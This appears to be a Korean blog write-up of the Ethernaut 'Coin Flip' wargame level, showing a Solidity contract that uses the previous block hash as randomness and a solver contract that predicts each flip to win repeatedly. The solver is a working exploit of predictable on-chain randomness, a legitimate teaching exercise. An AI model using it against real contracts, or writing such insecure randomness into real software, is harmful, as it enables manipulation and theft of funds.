blockchain

[ethernaut] Coin Flip

chanchand 2024. 9. 1. 15:06
반응형

문제

consecutiveWins >= 10

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

 

 

문제해결

Generating random numbers in solidity can be tricky.

contract CoinFlipSolv {
    address target;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _target) {
        target = _target;
    }

    function flip() public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        CoinFlip(target).flip(side);
    }
}

반응형

'blockchain' 카테고리의 다른 글

[ethernaut] Telephone  (0) 2024.09.01
[ethernaut] Fallout  (0) 2023.04.05
[ethernaut] Fallback  (0) 2023.04.02
[ethernaut] Hello Ethernaut  (0) 2023.04.02
remix - Deploy & At Address  (0) 2023.03.18